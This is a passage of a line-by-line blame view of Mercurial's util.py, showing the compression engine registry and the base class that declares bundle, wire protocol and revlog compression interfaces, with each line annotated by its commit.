7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3649
            self._wiretypes[wiretype] = name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3650
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3651
        revlogheader = engine.revlogheader()
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3652
        if revlogheader and revlogheader in self._revlogheaders:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3653
            raise error.Abort(_('revlog header %s already registered by %s') %
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3654
                              (revlogheader, self._revlogheaders[revlogheader]))
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3655
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3656
        if revlogheader:
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3657
            self._revlogheaders[revlogheader] = name
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3658
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3659
        self._engines[name] = engine
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3660
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3661
    @property
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3662
    def supportedbundlenames(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3663
        return set(self._bundlenames.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3664
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3665
    @property
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3666
    def supportedbundletypes(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3667
        return set(self._bundletypes.keys())
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3668
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3669
    def forbundlename(self, bundlename):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3670
        """Obtain a compression engine registered to a bundle name.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3671
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3672
        Will raise KeyError if the bundle type isn't registered.
30438
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3673
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3674
        Will abort if the engine is known but not available.
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3675
        """
30438
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3676
        engine = self._engines[self._bundlenames[bundlename]]
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3677
        if not engine.available():
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3678
            raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3679
                              engine.name())
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3680
        return engine
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3681
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3682
    def forbundletype(self, bundletype):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3683
        """Obtain a compression engine registered to a bundle type.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3684
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3685
        Will raise KeyError if the bundle type isn't registered.
30438
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3686
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3687
        Will abort if the engine is known but not available.
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3688
        """
30438
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3689
        engine = self._engines[self._bundletypes[bundletype]]
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3690
        if not engine.available():
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3691
            raise error.Abort(_('compression engine %s could not be loaded') %
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3692
                              engine.name())
90933e4e44fd util: check for compression engine availability before returning
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30437
diff changeset
  3693
        return engine
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3694
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3695
    def supportedwireengines(self, role, onlyavailable=True):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3696
        """Obtain compression engines that support the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3697
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3698
        Returns a list of engines in prioritized order, most desired first.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3699
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3700
        If ``onlyavailable`` is set, filter out engines that can't be
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3701
        loaded.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3702
        """
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3703
        assert role in (SERVERROLE, CLIENTROLE)
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3704
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3705
        attr = 'serverpriority' if role == SERVERROLE else 'clientpriority'
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3706
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3707
        engines = [self._engines[e] for e in self._wiretypes.values()]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3708
        if onlyavailable:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3709
            engines = [e for e in engines if e.available()]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3710
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3711
        def getkey(e):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3712
            # Sort first by priority, highest first. In case of tie, sort
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3713
            # alphabetically. This is arbitrary, but ensures output is
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3714
            # stable.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3715
            w = e.wireprotosupport()
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3716
            return -1 * getattr(w, attr), w.name
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3717
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3718
        return list(sorted(engines, key=getkey))
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3719
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3720
    def forwiretype(self, wiretype):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3721
        engine = self._engines[self._wiretypes[wiretype]]
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3722
        if not engine.available():
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3723
            raise error.Abort(_('compression engine %s could not be loaded') %
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3724
                              engine.name())
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3725
        return engine
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3726
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3727
    def forrevlogheader(self, header):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3728
        """Obtain a compression engine registered to a revlog header.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3729
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3730
        Will raise KeyError if the revlog header value isn't registered.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3731
        """
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3732
        return self._engines[self._revlogheaders[header]]
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3733
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3734
compengines = compressormanager()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3735
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3736
class compressionengine(object):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3737
    """Base class for compression engines.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3738
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3739
    Compression engines must implement the interface defined by this class.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3740
    """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3741
    def name(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3742
        """Returns the name of the compression engine.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3743
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3744
        This is the key the engine is registered under.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3745
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3746
        This method must be implemented.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3747
        """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3748
        raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3749
30437
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3750
    def available(self):
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3751
        """Whether the compression engine is available.
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3752
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3753
        The intent of this method is to allow optional compression engines
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3754
        that may not be available in all installations (such as engines relying
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3755
        on C extensions that may not be present).
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3756
        """
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3757
        return True
64d7275445d0 util: expose an "available" API on compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30418
diff changeset
  3758
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3759
    def bundletype(self):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3760
        """Describes bundle identifiers for this engine.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3761
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3762
        If this compression engine isn't supported for bundles, returns None.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3763
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3764
        If this engine can be used for bundles, returns a 2-tuple of strings of
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3765
        the user-facing "bundle spec" compression name and an internal
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3766
        identifier used to denote the compression format within bundles. To
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3767
        exclude the name from external usage, set the first element to ``None``.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3768
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3769
        If bundle compression is supported, the class must also implement
30359
673f0fdc1046 util: remove compressorobj API from compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30356
diff changeset
  3770
        ``compressstream`` and `decompressorreader``.
31792
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3771
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3772
        The docstring of this method is used in the help system to tell users
55c0c91f55e6 util: document bundle compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 31777
diff changeset
  3773
        about this engine.
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3774
        """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3775
        return None
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3776
30761
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3777
    def wireprotosupport(self):
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3778
        """Declare support for this compression format on the wire protocol.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3779
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3780
        If this compression engine isn't supported for compressing wire
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3781
        protocol payloads, returns None.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3782
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3783
        Otherwise, returns ``compenginewireprotosupport`` with the following
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3784
        fields:
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3785
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3786
        * String format identifier
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3787
        * Integer priority for the server
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3788
        * Integer priority for the client
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3789
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3790
        The integer priorities are used to order the advertisement of format
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3791
        support by server and client. The highest integer is advertised
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3792
        first. Integers with non-positive values aren't advertised.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3793
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3794
        The priority values are somewhat arbitrary and only used for default
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3795
        ordering. The relative order can be changed via config options.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3796
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3797
        If wire protocol compression is supported, the class must also implement
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3798
        ``compressstream`` and ``decompressorreader``.
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3799
        """
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3800
        return None
7283719e2bfd util: declare wire protocol support of compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30745
diff changeset
  3801
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3802
    def revlogheader(self):
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3803
        """Header added to revlog chunks that identifies this engine.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3804
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3805
        If this engine can be used to compress revlogs, this method should
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3806
        return the bytes used to identify chunks compressed with this engine.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3807
        Else, the method should return ``None`` to indicate it does not
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3808
        participate in revlog compression.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3809
        """
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3810
        return None
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3811
30356
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3812
    def compressstream(self, it, opts=None):
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3813
        """Compress an iterator of chunks.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3814
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3815
        The method receives an iterator (ideally a generator) of chunks of
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3816
        bytes to be compressed. It returns an iterator (ideally a generator)
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3817
        of bytes of chunks representing the compressed output.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3818
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3819
        Optionally accepts an argument defining how to perform compression.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3820
        Each engine treats this argument differently.
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3821
        """
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3822
        raise NotImplementedError()
c86109eface7 util: add a stream compression API to compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30355
diff changeset
  3823
30350
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3824
    def decompressorreader(self, fh):
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3825
        """Perform decompression on a file object.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3826
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3827
        Argument is an object with a ``read(size)`` method that returns
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3828
        compressed data. Return value is an object with a ``read(size)`` that
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3829
        returns uncompressed data.
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3830
        """
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3831
        raise NotImplementedError()
358cda0af6ee util: create new abstraction for compression engines
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30332
diff changeset
  3832
30794
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3833
    def revlogcompressor(self, opts=None):
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3834
        """Obtain an object that can be used to compress revlog entries.
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3835
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3836
        The object has a ``compress(data)`` method that compresses binary
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3837
        data. This method returns compressed binary data or ``None`` if
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3838
        the data could not be compressed (too small, not compressible, etc).
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3839
        The returned data should have a header uniquely identifying this
31e1f0d4ab44 util: compression APIs to support revlog compression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30773
diff changeset
  3840
        compression format so decompression can be routed to this engine.
30798
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3841
        This header should be identified by the ``revlogheader()`` return
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3842
        value.
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3843
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3844
        The object has a ``decompress(data)`` method that decompresses
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
parents: 30794
diff changeset
  3845
        data. The method will only be called if ``data`` begins with
f50c0db50025 util: compression APIs to support revlog decompression
Gregory Szorc <gregory.szorc@gmail.com>
